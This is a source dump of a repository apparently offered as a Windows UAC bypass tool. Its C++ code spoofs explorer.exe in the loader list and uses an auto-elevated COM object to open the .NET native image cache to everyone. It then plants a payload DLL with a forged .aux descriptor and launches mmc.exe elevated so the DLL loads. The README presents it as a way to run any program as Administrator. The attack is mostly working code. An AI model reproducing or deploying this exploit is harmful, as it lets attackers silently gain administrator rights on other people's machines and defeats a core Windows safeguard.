Repository: AzAgarampur/byeintegrity-uac Branch: master Commit: ad1e6acdd7d9 Files: 18 Total size: 92.3 KB Directory structure: gitextract_vbp76_um/ ├── .gitattributes ├── .gitignore ├── AUXGen/ │ ├── AUXGen.cpp │ ├── AUXGen.vcxproj │ ├── AUXGen.vcxproj.filters │ └── fusion.lib ├── ByeIntegrity2021/ │ ├── ByeIntegrity2021.vcxproj │ ├── ByeIntegrity2021.vcxproj.filters │ └── byeintegrity2021.cpp ├── README.md ├── byeintegrity/ │ ├── byeintegrity.vcxproj │ ├── byeintegrity.vcxproj.filters │ ├── integritybye.cpp │ └── shellcode.txt ├── byeintegrity.sln └── payload/ ├── payload.cpp ├── payload.vcxproj └── payload.vcxproj.filters ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ ############################################################################### # Set default behavior to automatically normalize line endings. ############################################################################### * text=auto ############################################################################### # Set default behavior for command prompt diff. # # This is need for earlier builds of msysgit that does not have it on by # default for csharp files. # Note: This is only used by command line ############################################################################### #*.cs diff=csharp ############################################################################### # Set the merge driver for project and solution files # # Merging from the command prompt will add diff markers to the files if there # are conflicts (Merging from VS is not affected by the settings below, in VS # the diff markers are never inserted). Diff markers may cause the following # file extensions to fail to load in VS. An alternative would be to treat # these files as binary and thus will always conflict and require user # intervention with every merge. To do so, just uncomment the entries below ############################################################################### #*.sln merge=binary #*.csproj merge=binary #*.vbproj merge=binary #*.vcxproj merge=binary #*.vcproj merge=binary #*.dbproj merge=binary #*.fsproj merge=binary #*.lsproj merge=binary #*.wixproj merge=binary #*.modelproj merge=binary #*.sqlproj merge=binary #*.wwaproj merge=binary ############################################################################### # behavior for image files # # image files are treated as binary by default. ############################################################################### #*.jpg binary #*.png binary #*.gif binary ############################################################################### # diff behavior for common document formats # # Convert binary document formats to text before diffing them. This feature # is only available from the command line. Turn it on by uncommenting the # entries below. ############################################################################### #*.doc diff=astextplain #*.DOC diff=astextplain #*.docx diff=astextplain #*.DOCX diff=astextplain #*.dot diff=astextplain #*.DOT diff=astextplain #*.pdf diff=astextplain #*.PDF diff=astextplain #*.rtf diff=astextplain #*.RTF diff=astextplain ================================================ FILE: .gitignore ================================================ ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. ## ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore # User-specific files *.rsuser *.suo *.user *.userosscache *.sln.docstates # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs # Build results [Dd]ebug/ [Dd]ebugPublic/ [Rr]elease/ [Rr]eleases/ x64/ x86/ [Aa][Rr][Mm]/ [Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Ll]og/ # Visual Studio 2015/2017 cache/options directory .vs/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ # Visual Studio 2017 auto generated files Generated\ Files/ # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* # NUNIT *.VisualState.xml TestResult.xml # Build Results of an ATL Project [Dd]ebugPS/ [Rr]eleasePS/ dlldata.c # Benchmark Results BenchmarkDotNet.Artifacts/ # .NET Core project.lock.json project.fragment.lock.json artifacts/ # StyleCop StyleCopReport.xml # Files built by Visual Studio *_i.c *_p.c *_h.h *.ilk *.meta *.obj *.iobj *.pch *.pdb *.ipdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.tmp_proj *_wpftmp.csproj *.log *.vspscc *.vssscc .builds *.pidb *.svclog *.scc # Chutzpah Test files _Chutzpah* # Visual C++ cache files ipch/ *.aps *.ncb *.opendb *.opensdf *.sdf *.cachefile *.VC.db *.VC.VC.opendb # Visual Studio profiler *.psess *.vsp *.vspx *.sap # Visual Studio Trace Files *.e2e # TFS 2012 Local Workspace $tf/ # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user # JustCode is a .NET coding add-in .JustCode # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # AxoCover is a Code Coverage Tool .axoCover/* !.axoCover/settings.json # Visual Studio code coverage results *.coverage *.coveragexml # NCrunch _NCrunch_* .*crunch*.local.xml nCrunchTemp_* # MightyMoose *.mm.* AutoTest.Net/ # Web workbench (sass) .sass-cache/ # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.[Pp]ublish.xml *.azurePubxml # Note: Comment the next line if you want to checkin your web deploy settings, # but database connection strings (with potential passwords) will be unencrypted *.pubxml *.publishproj # Microsoft Azure Web App publish settings. Comment the next line if you want to # checkin your Azure Web App publish settings, but sensitive information contained # in these scripts will be unencrypted PublishScripts/ # NuGet Packages *.nupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. !**/[Pp]ackages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/[Pp]ackages/repositories.config # NuGet v3's project.json files produces more ignorable files *.nuget.props *.nuget.targets # Microsoft Azure Build Output csx/ *.build.csdef # Microsoft Azure Emulator ecf/ rcf/ # Windows Store app package directories and files AppPackages/ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache !?*.[Cc]ache/ # Others ClientBin/ ~$* *~ *.dbmdl *.dbproj.schemaview *.jfm *.pfx *.publishsettings orleans.codegen.cs # Including strong name files can present a security risk # (https://github.com/github/gitignore/pull/2483#issue-259490424) #*.snk # Since there are multiple workflows, uncomment next line to ignore bower_components # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) #bower_components/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file # to a newer Visual Studio version. Backup files are not needed, # because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm ServiceFabricBackup/ *.rptproj.bak # SQL Server files *.mdf *.ldf *.ndf # Business Intelligence projects *.rdl.data *.bim.layout *.bim_*.settings *.rptproj.rsuser *- Backup*.rdl # Microsoft Fakes FakesAssemblies/ # GhostDoc plugin setting file *.GhostDoc.xml # Node.js Tools for Visual Studio .ntvs_analysis.dat node_modules/ # Visual Studio 6 build log *.plg # Visual Studio 6 workspace options file *.opt # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) *.vbw # Visual Studio LightSwitch build output **/*.HTMLClient/GeneratedArtifacts **/*.DesktopClient/GeneratedArtifacts **/*.DesktopClient/ModelManifest.xml **/*.Server/GeneratedArtifacts **/*.Server/ModelManifest.xml _Pvt_Extensions # Paket dependency manager .paket/paket.exe paket-files/ # FAKE - F# Make .fake/ # JetBrains Rider .idea/ *.sln.iml # CodeRush personal settings .cr/personal # Python Tools for Visual Studio (PTVS) __pycache__/ *.pyc # Cake - Uncomment if you are using it # tools/** # !tools/packages.config # Tabs Studio *.tss # Telerik's JustMock configuration file *.jmconfig # BizTalk build output *.btp.cs *.btm.cs *.odx.cs *.xsd.cs # OpenCover UI analysis results OpenCover/ # Azure Stream Analytics local run output ASALocalRun/ # MSBuild Binary and Structured Log *.binlog # NVidia Nsight GPU debugger configuration file *.nvuser # MFractors (Xamarin productivity tool) working folder .mfractor/ # Local History for Visual Studio .localhistory/ # BeatPulse healthcheck temp database healthchecksdb ================================================ FILE: AUXGen/AUXGen.cpp ================================================ #include #include #include #include #include #include #include #include using Microsoft::WRL::ComPtr; template inline D AlignTo(D data) { auto mask{ static_cast(sizeof(T)) - 1 }; return (data + mask) & ~mask; } /* .NET CLR Runtime data structures and parsing information * Information has been referenced from the following source: * https://www.ecma-international.org/wp-content/uploads/ECMA-335_6th_edition_june_2012.pdf */ typedef struct { ULONG Signature; USHORT MajorVersion; USHORT MinorVersion; ULONG Reserved; ULONG Length; } METADATA_ROOT, * PMETADATA_ROOT; typedef struct { ULONG Offset; ULONG Size; CHAR Name[ANYSIZE_ARRAY]; } METADATA_STREAM_HEADER, * PMETADATA_STREAM_HEADER; typedef struct { USHORT Flags; USHORT Streams; METADATA_STREAM_HEADER StreamHeaders[ANYSIZE_ARRAY]; } METADATA_ENDDATA, * PMETADATA_ENDDATA; typedef struct { ULONG Reserved0; BYTE MajorVersion; BYTE MinorVersion; BYTE HeapSizes; BYTE Reserved1; ULONG64 Valid; ULONG64 Sorted; ULONG Rows[ANYSIZE_ARRAY]; } LOGICAL_METADATA_STREAM, * PLOGICAL_METADATA_STREAM; int wmain( int argc, WCHAR* argv[] ) { if (argc < 2) { std::cout << "Usage: AUXGen \n"; return 0; } PWSTR winDir; auto hr{ SHGetKnownFolderPath(FOLDERID_Windows, 0, nullptr, &winDir) }; if (FAILED(hr)) { std::wcout << L"SHGetKnownFolderPath() failed. Error: 0x" << std::hex << hr << std::endl; return 1; } std::wstring path{ winDir }; path += L"\\Microsoft.NET\\Framework64\\v4.0.30319\\"; CoTaskMemFree(winDir); std::wstring currentDir; DWORD dirSize; if (!(dirSize = GetCurrentDirectoryW(0, nullptr))) { std::wcout << L"GetCurrentDirectoryW() (0) failed. Error: " << GetLastError() << std::endl; return 1; } currentDir.resize(dirSize); if (!(dirSize = GetCurrentDirectoryW(dirSize, ¤tDir[0]))) { std::wcout << L"GetCurrentDirectoryW() (1) failed. Error: " << GetLastError() << std::endl; return 1; } if (!SetCurrentDirectoryW(path.c_str())) { std::wcout << "SetCurrentDirectoryW() (0) failed. Error: " << GetLastError() << std::endl; return 1; } ComPtr asmEnum; hr = CreateAssemblyEnum(&asmEnum, nullptr, nullptr, ASM_CACHE_GAC, nullptr); if (FAILED(hr)) { std::cout << "CreateAssemblyEnum() failed. Error: 0x" << std::hex << hr << std::endl; return 1; } ComPtr asmCache; hr = CreateAssemblyCache(&asmCache, 0); if (FAILED(hr)) { std::cout << "CreateAssemblyCache() failed. Error: 0x" << std::hex << hr << std::endl; return 1; } ComPtr asmName; std::wstring name; while ((hr = asmEnum->GetNextAssembly(nullptr, &asmName, 0)) == S_OK) { DWORD nameSize{}; hr = asmName->GetName(&nameSize, nullptr); if (hr != 0x8007007a && FAILED(hr)) { asmName->Finalize(); std::wcout << L"IAssemblyName::GetName() (0) failed. Error: 0x" << std::hex << hr << std::endl; return 1; } name.resize(nameSize - 1); hr = asmName->GetName(&nameSize, &name[0]); if (FAILED(hr)) { asmName->Finalize(); std::wcout << L"IAssemblyName::GetName() (1) failed. Error: 0x" << std::hex << hr << std::endl; return 1; } if (wcscmp(argv[1], name.c_str()) == 0) break; asmName->Finalize(); } if (FAILED(hr)) { std::wcout << L"IAssemblyEnum::GetNextAssembly() failed. Error: 0x" << std::hex << hr << std::endl; return 1; } if (hr == S_FALSE) { std::wcout << L"'" << argv[1] << L"' not found in GAC\n"; return 0; } DWORD len{}; hr = asmName->GetDisplayName(nullptr, &len, 0); if (hr != 0x8007007a && FAILED(hr)) { asmName->Finalize(); std::wcout << L"IAssemblyName::GetDisplayName() (0) failed. Error: 0x" << std::hex << hr << std::endl; return 1; } std::wstring displayName; displayName.resize(len - 1); hr = asmName->GetDisplayName(&displayName[0], &len, 0); asmName->Finalize(); if (FAILED(hr)) { std::wcout << L"IAssemblyName::GetDisplayName() (1) failed. Error: 0x" << std::hex << hr << std::endl; return 1; } ASSEMBLY_INFO asmInfo{}; asmInfo.cbAssemblyInfo = sizeof ASSEMBLY_INFO; hr = asmCache->QueryAssemblyInfo(0, name.c_str(), &asmInfo); if (hr != 0x8007007a && FAILED(hr)) { std::wcout << L"IAssemblyCache::QueryAssemblyInfo() (0) failed. Error: 0x" << std::hex << hr << std::endl; return 1; } std::wstring asmPath; asmPath.resize(asmInfo.cchBuf - 1); asmInfo.pszCurrentAssemblyPathBuf = &asmPath[0]; hr = asmCache->QueryAssemblyInfo(0, name.c_str(), &asmInfo); if (FAILED(hr)) { std::wcout << L"IAssemblyCache::QueryAssemblyInfo() (1) failed. Error: 0x" << std::hex << hr << std::endl; return 1; } /* * I would use the .NET unmanaged metadata COM interfaces to get the MVID, * however that requres .NET framework 3.5 which is not installed by default * on most systems, so instead I will manually parse the .NET directory of the * assembly and read the MVID that way. */ std::unique_ptr fileHandle{ CreateFileW(asmInfo.pszCurrentAssemblyPathBuf, FILE_READ_ACCESS, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr), CloseHandle }; if (fileHandle.get() == INVALID_HANDLE_VALUE) { std::wcout << L"CreateFileW() failed. Error: " << GetLastError() << std::endl; return 1; } std::unique_ptr mapping{ CreateFileMappingW(fileHandle.get(), nullptr, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, nullptr), CloseHandle }; if (!mapping) { std::wcout << L"CreateFileMapping() failed. Error: " << GetLastError() << std::endl; return 1; } std::unique_ptr file{ MapViewOfFile(mapping.get(), FILE_MAP_READ, 0, 0, 0), UnmapViewOfFile }; if (!file) { std::wcout << L"MapViewOfFile() failed. Error: " << GetLastError() << std::endl; return 1; } auto corHeader{ reinterpret_cast( reinterpret_cast(file.get()) + reinterpret_cast(reinterpret_cast(file.get()) + reinterpret_cast(file.get())->e_lfanew) ->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress ) }; auto metadataRoot{ reinterpret_cast(reinterpret_cast(file.get()) + corHeader->MetaData.VirtualAddress) }; auto streamData{ reinterpret_cast(reinterpret_cast(metadataRoot) + sizeof METADATA_ROOT + AlignTo(metadataRoot->Length)) }; PMETADATA_STREAM_HEADER streamHeader{ streamData->StreamHeaders }, metaStream{}, guidStream{}, stringStream{}; bool foundStream{}, foundGuids{}, foundStrings{}; for (auto i = 1; i < streamData->Streams; ++i) { if (foundStream && foundGuids && foundStrings) break; if (strcmp(streamHeader->Name, "#~") == 0) { foundStream = true; metaStream = streamHeader; } else if (strcmp(streamHeader->Name, "#GUID") == 0) { foundGuids = true; guidStream = streamHeader; } else if (strcmp(streamHeader->Name, "#Strings") == 0) { foundStrings = true; stringStream = streamHeader; } streamHeader = reinterpret_cast( reinterpret_cast(streamHeader) + FIELD_OFFSET(METADATA_STREAM_HEADER, Name) + AlignTo(strlen(streamHeader->Name) + 1)); } if (!foundStream) { std::wcout << L"CLI #~ stream not found\n"; return 1; } if (!foundGuids) { std::wcout << L"CLI #GUID stream not found\n"; return 1; } if (!foundStrings) { std::wcout << L"CLI #Strings stream not found\n"; return 1; } auto logicalMetadata{ reinterpret_cast(reinterpret_cast(metadataRoot) + metaStream->Offset) }; std::bitset<64> validBits{ logicalMetadata->Valid }; std::bitset<8> heapSizeBits{ logicalMetadata->HeapSizes }; if (!validBits[0]) { std::wcout << L"Module table does not seem to be present in metadata\n"; return 1; } if (logicalMetadata->Rows[0] > 1) std::wcout << L"More than one Module entry exists, using the first one\n"; auto tables{ reinterpret_cast(logicalMetadata) + FIELD_OFFSET(LOGICAL_METADATA_STREAM, Rows) + (validBits.count() * sizeof ULONG) }; ULONG mvidIndex, modNameIndex; tables += 2; if (heapSizeBits[0]) { modNameIndex = *reinterpret_cast(tables); tables += 4; } else { modNameIndex = *reinterpret_cast(tables); tables += 2; } if (heapSizeBits[1]) mvidIndex = *reinterpret_cast(tables); else mvidIndex = *reinterpret_cast(tables); auto guids{ reinterpret_cast(reinterpret_cast(metadataRoot) + guidStream->Offset) }; std::string modName{ reinterpret_cast(reinterpret_cast(metadataRoot) + stringStream->Offset + modNameIndex) }; auto extensionPos{ modName.find_last_of('.') }; if (extensionPos != std::string::npos) modName.insert(extensionPos, ".ni"); else modName += ".ni"; modName += ".aux"; if (!SetCurrentDirectoryW(currentDir.c_str())) { std::wcout << L"SetCurrentDirectoryW() (1) failed. Error: " << GetLastError() << std::endl; return 1; } auto auxSize{ 100 + AlignTo(len) }; auto auxData{ std::make_unique(auxSize) }; auto dataPtr{ reinterpret_cast(auxData.get()) }; std::unique_ptr auxFile{ CreateFileA(modName.c_str(), FILE_WRITE_ACCESS, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr), CloseHandle }; if (auxFile.get() == INVALID_HANDLE_VALUE) { std::wcout << L"CreateFileA() failed. Error: " << GetLastError() << std::endl; return 1; } std::string displayNameAnsi; displayNameAnsi.resize(len - 1); if (!WideCharToMultiByte( CP_ACP, 0, displayName.c_str(), len, &displayNameAnsi[0], static_cast(displayNameAnsi.capacity()), nullptr, nullptr )) { std::wcout << L"WideCharToMultiByte() failed. Error: " << GetLastError() << std::endl; return 1; } *dataPtr++ = 0x5; *dataPtr++ = auxSize - 8; *dataPtr++ = 0xB; *dataPtr++ = auxSize - 16; *dataPtr++ = 0xD; *dataPtr++ = auxSize - 100; memcpy(dataPtr, displayNameAnsi.c_str(), displayNameAnsi.length() + 1); auto delta{ (auxSize - 100) - (displayNameAnsi.length() + 1) }; if (delta) { auto ptr{ reinterpret_cast(reinterpret_cast(dataPtr) + displayNameAnsi.length() + 1) }; for (auto i = 1; i <= delta; ++i) { *ptr++ = 0xCC; } } dataPtr = reinterpret_cast(reinterpret_cast(dataPtr) + delta + 1 + displayNameAnsi.length()); *dataPtr++ = 0x7; *dataPtr++ = 0x4; *dataPtr++ = 0x1109; *dataPtr++ = 0x2; *dataPtr++ = 0x8; *dataPtr++ = 0; *dataPtr++ = 0; *dataPtr++ = 0xF; *dataPtr++ = 0x4; *dataPtr++ = 0; *dataPtr++ = 0x10; *dataPtr++ = 0x4; *dataPtr++ = 0x1; *dataPtr++ = 0x9; *dataPtr++ = 0x10; memcpy(dataPtr, &guids[mvidIndex - 1], sizeof GUID); if (!WriteFile(auxFile.get(), auxData.get(), auxSize, &len, nullptr)) { std::wcout << L"WriteFile() failed. Error: " << GetLastError() << std::endl; return 1; } auto stdHandle{ GetStdHandle(STD_OUTPUT_HANDLE) }; SetConsoleTextAttribute(stdHandle, 15); std::wcout << L"\nAUX file"; SetConsoleTextAttribute(stdHandle, 14); std::cout << " '" << modName << "'"; SetConsoleTextAttribute(stdHandle, 15); std::wcout << L" generated successfully.\n"; SetConsoleTextAttribute(stdHandle, 7); return 0; } ================================================ FILE: AUXGen/AUXGen.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {b4192e53-737a-409e-96ab-7013f6863072} AUXGen 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true false true false Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true fusion.lib;%(AdditionalDependencies) fusion.dll Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true fusion.lib;%(AdditionalDependencies) fusion.dll Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp17 Console true fusion.lib;%(AdditionalDependencies) fusion.dll Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true fusion.lib;%(AdditionalDependencies) fusion.dll ================================================ FILE: AUXGen/AUXGen.vcxproj.filters ================================================  ================================================ FILE: ByeIntegrity2021/ByeIntegrity2021.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {7cdc9c5f-6dee-4d33-a8ad-610194b1a017} ByeIntegrity2021 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true false true false Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true ntdll.lib;%(AdditionalDependencies) Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true ntdll.lib;%(AdditionalDependencies) Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true ntdll.lib;%(AdditionalDependencies) Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true ntdll.lib;%(AdditionalDependencies) ================================================ FILE: ByeIntegrity2021/ByeIntegrity2021.vcxproj.filters ================================================  ================================================ FILE: ByeIntegrity2021/byeintegrity2021.cpp ================================================ #include #include #include #include #include #include #include #include using Microsoft::WRL::ComPtr; EXTERN_C IMAGE_DOS_HEADER __ImageBase; #define COUT_FAILED_HR(func, hr) (std::wcout << func << L"() failed. HRESULT: 0x" << std::hex << hr << std::endl) #define COUT_FAILED_WIN32(func, err) (std::wcout << func << L"() failed. Error: " << err << std::endl) constexpr GUID IID_ISecurityEditor{ 0x14B2C619, 0xD07A, 0x46EF, {0x8B, 0x62, 0x31, 0xB6, 0x4F, 0x3B, 0x84, 0x5C} }; typedef struct { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; // more stuff underneath . . . } LDR_DATA_TABLE_ENTRY2, * PLDR_DATA_TABLE_ENTRY2; struct ComSession { HRESULT Result; ComSession() : Result(CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE | COINIT_SPEED_OVER_MEMORY)) {} ~ComSession() { if (SUCCEEDED(Result)) CoUninitialize(); } }; struct ISecurityEditor : IUnknown { virtual HRESULT WINAPI GetSecurity( LPCOLESTR ObjectName, SE_OBJECT_TYPE ObjectType, SECURITY_INFORMATION SecurityInfo, LPCOLESTR* ppSDDLStr ) = 0; virtual HRESULT WINAPI SetSecurity( LPCOLESTR ObjectName, SE_OBJECT_TYPE ObjectType, SECURITY_INFORMATION SecurityInfo, LPCOLESTR pSDDLStr ) = 0; }; using PLDR_ENUM_CALLBACK = VOID(NTAPI*)(PLDR_DATA_TABLE_ENTRY2 entry, PVOID context, PBOOLEAN stop); EXTERN_C NTSTATUS LdrEnumerateLoadedModules(ULONG flags, PLDR_ENUM_CALLBACK enumProc, PVOID context); int wmain() { auto hOutput{ GetStdHandle(STD_OUTPUT_HANDLE) }; SetConsoleTextAttribute(hOutput, 8); std::wcout << L" __________ .___ __ .__ __ /\\________ ____ \n" \ L" \\______ \\___.__. ____ | | _____/ |_ ____ ___________|__|/ |_ ___.__. )/\\_____ \\/_ |\n" \ L" | | _< | |/ __ \\| |/ \\ __\\/ __ \\ / ___\\_ __ \\ \\ __< | | / ____/ | |\n" \ L" | | \\\\___ \\ ___/| | | \\ | \\ ___// /_/ > | \\/ || | \\___ | / \\ | |\n" \ L" |______ // ____|\\___ >___|___| /__| \\___ >___ /|__| |__||__| / ____| \\_______ \\|___|\n" \ L" \\/ \\/ \\/ \\/ \\/_____/ \\/ \\/ \n\n"; SetConsoleTextAttribute(hOutput, 7); ComSession comSession; if (FAILED(comSession.Result)) { COUT_FAILED_HR(L"CoInitializeEx", comSession.Result); return 1; } PWSTR winPath; auto hr{ SHGetKnownFolderPath(FOLDERID_Windows, 0, nullptr, &winPath) }; if (FAILED(hr)) { COUT_FAILED_HR(L"SHGetKnownFolderPath", hr); return 1; } std::wstring explorer{ winPath }, asmPath{ winPath }; CoTaskMemFree(winPath); explorer += L"\\explorer.exe"; hr = LdrEnumerateLoadedModules(0, [](PLDR_DATA_TABLE_ENTRY2 entry, PVOID context, PBOOLEAN stop) { if (entry->DllBase == &__ImageBase) { entry->BaseDllName.Buffer = const_cast(L"explorer.exe"); entry->BaseDllName.Length = sizeof(L"explorer.exe"); entry->BaseDllName.MaximumLength = sizeof(L"explorer.exe"); entry->FullDllName.Buffer = const_cast(reinterpret_cast(context)->c_str()); entry->FullDllName.Length = static_cast((reinterpret_cast(context)->length() + 1) * sizeof WCHAR); entry->FullDllName.MaximumLength = static_cast(reinterpret_cast(context)->capacity()); *stop = TRUE; } }, &explorer); if (FAILED(hr)) { std::wcout << L"LdrEnumerateLoadedModules() failed. NTSTATUS: 0x" << std::hex << hr << std::endl; return 1; } ComPtr securityEditor; BIND_OPTS3 opts{}; opts.cbStruct = sizeof BIND_OPTS3; opts.dwClassContext = CLSCTX_LOCAL_SERVER; hr = CoGetObject(L"Elevation:Administrator!new:{4D111E08-CBF7-4f12-A926-2C7920AF52FC}", &opts, IID_ISecurityEditor, &securityEditor); if (FAILED(hr)) { COUT_FAILED_HR(L"CoGetObject", hr); return 1; } asmPath += L"\\assembly\\NativeImages_v4.0.30319_64"; std::wstring workPath{ asmPath }; LPCOLESTR oldSecurityPtr; hr = securityEditor->GetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, &oldSecurityPtr); if (FAILED(hr)) { COUT_FAILED_HR(L"ISecurityEditor::GetSecurity", hr); return 1; } std::wstring oldSecurity{ oldSecurityPtr }; CoTaskMemFree(reinterpret_cast(const_cast(oldSecurityPtr))); hr = securityEditor->SetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, L"D:PAI(A;OICI;FA;;;WD)"); if (FAILED(hr)) { COUT_FAILED_HR(L"ISecurityEditor::SetSecurity", hr); return 1; } workPath += L"\\MMCEx"; std::wstring oldPathName{ workPath + L".old" }, originalPath{ workPath }; auto restore{ true }; if (!MoveFileW(workPath.c_str(), oldPathName.c_str())) { if (GetLastError() != ERROR_FILE_NOT_FOUND) { securityEditor->SetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, oldSecurity.c_str()); COUT_FAILED_WIN32(L"MoveFileW", GetLastError()); return 1; } restore = false; } if (!CreateDirectoryW(workPath.c_str(), nullptr)) { if (restore) MoveFileW(oldPathName.c_str(), originalPath.c_str()); securityEditor->SetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, oldSecurity.c_str()); COUT_FAILED_WIN32(L"CreateDirectoryW", GetLastError()); return 1; } workPath += L"\\DEADBEEFDEADBEEFDEADBEEFDEADBEEF"; if (!CreateDirectoryW(workPath.c_str(), nullptr)) { RemoveDirectoryW(originalPath.c_str()); if (restore) MoveFileW(oldPathName.c_str(), originalPath.c_str()); securityEditor->SetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, oldSecurity.c_str()); COUT_FAILED_WIN32(L"CreateDirectoryW", GetLastError()); return 1; } auto niPath{ workPath + L"\\MMCEx.ni.dll" }, auxPath{ workPath + L"\\MMCEx.ni.dll.aux" }; if (!MoveFileW(L"payload.dll", niPath.c_str())) { RemoveDirectoryW(workPath.c_str()); RemoveDirectoryW(originalPath.c_str()); if (restore) MoveFileW(oldPathName.c_str(), originalPath.c_str()); securityEditor->SetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, oldSecurity.c_str()); COUT_FAILED_WIN32(L"MoveFileW", GetLastError()); return 1; } if (!MoveFileW(L"MMCEx.ni.dll.aux", auxPath.c_str())) { DeleteFileW(niPath.c_str()); RemoveDirectoryW(workPath.c_str()); RemoveDirectoryW(originalPath.c_str()); if (restore) MoveFileW(oldPathName.c_str(), originalPath.c_str()); securityEditor->SetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, oldSecurity.c_str()); COUT_FAILED_WIN32(L"MoveFileW", GetLastError()); return 1; } auto execResult{ reinterpret_cast(ShellExecuteW(nullptr, L"runas", L"mmc.exe", L"wf.msc", nullptr, SW_NORMAL)) }; Sleep(1500); DeleteFileW(auxPath.c_str()); DeleteFileW(niPath.c_str()); RemoveDirectoryW(workPath.c_str()); RemoveDirectoryW(originalPath.c_str()); if (restore) MoveFileW(oldPathName.c_str(), originalPath.c_str()); securityEditor->SetSecurity(asmPath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, oldSecurity.c_str()); if (execResult <= 32) { COUT_FAILED_WIN32(L"ShellExecuteW", execResult); return 1; } SetConsoleTextAttribute(hOutput, 15); std::wcout << L"[+] "; SetConsoleTextAttribute(hOutput, 14); std::wcout << L"*** Exploit successful.\n\n"; SetConsoleTextAttribute(hOutput, 7); return 0; } ================================================ FILE: README.md ================================================ # ByeIntegrity — Windows UAC Bypass Bypass User Account Control (UAC) to gain elevated (Administrator) privileges to run any program at a high integrity level. ![](example.gif) ## Requirements - Administrator account - UAC notification level set to default or lower ## 2021 Update I have decided to update ByeIntegrity so that it's much faster, lightweight, and reliable. This is a significant overhaul so I've created a new project in the VS solution called "ByeIntegrity2021," which is the updated version of this attack. Of course, the original version is still there. For more information on the new version, expand the details below.
Update information --- The new version now is able to hijack the NIC without depending on the existing native images installed into the NIC. It does this by creating its own native image descriptors and payloads, then moving them into the NIC, eliminating the need for: - Existing `*.ni` images produced by `NGEN.exe` - Running the system maintenance tasks - NIC directory traversal - Long wait/run time - Limited number of runs (before hijacked DLL runs out of space) The CLR loads native images from the NIC by doing a recursive directory scan of each entry, and then reading its `*.aux` file. This file contains information about the native image, and its dependencies. Based off the information in the `AUX` file, the CLR will either load the image or reject it, and then move on to the next candidate. If no viable candidates are found, it loads the standard image and uses jit to compile it normally. No part of the actual native image is read (it is only checked for its existence), so ByeIntegrity simply places the payload DLL with the same name the native image would have. The updated version of ByeIntegrity comes with a tool called **AUXGen**, which takes in the name of an assembly from the GAC and then generates its corresponding `AUX` file. The `AUX` file is generated so that it matches the CLR's checks and the CLR will load the "native image" which is described by the `AUX` file. Note: AUXGen does not handle dependencies when generating the `AUX` file. It only does as much as it needs to so that the CLR will load the image. I will post details of the `AUX` file format later. ByeIntegrity now uses `ISecurityEditor`, just like UACMe does, which cuts down on the needed code. It also requires that you have generated the `AUX` file for the assembly `MMCEx`, and placed it in the same directory as ByeIntegrity. `MMCEx` is now the targeted image because of its load order and shorter name.
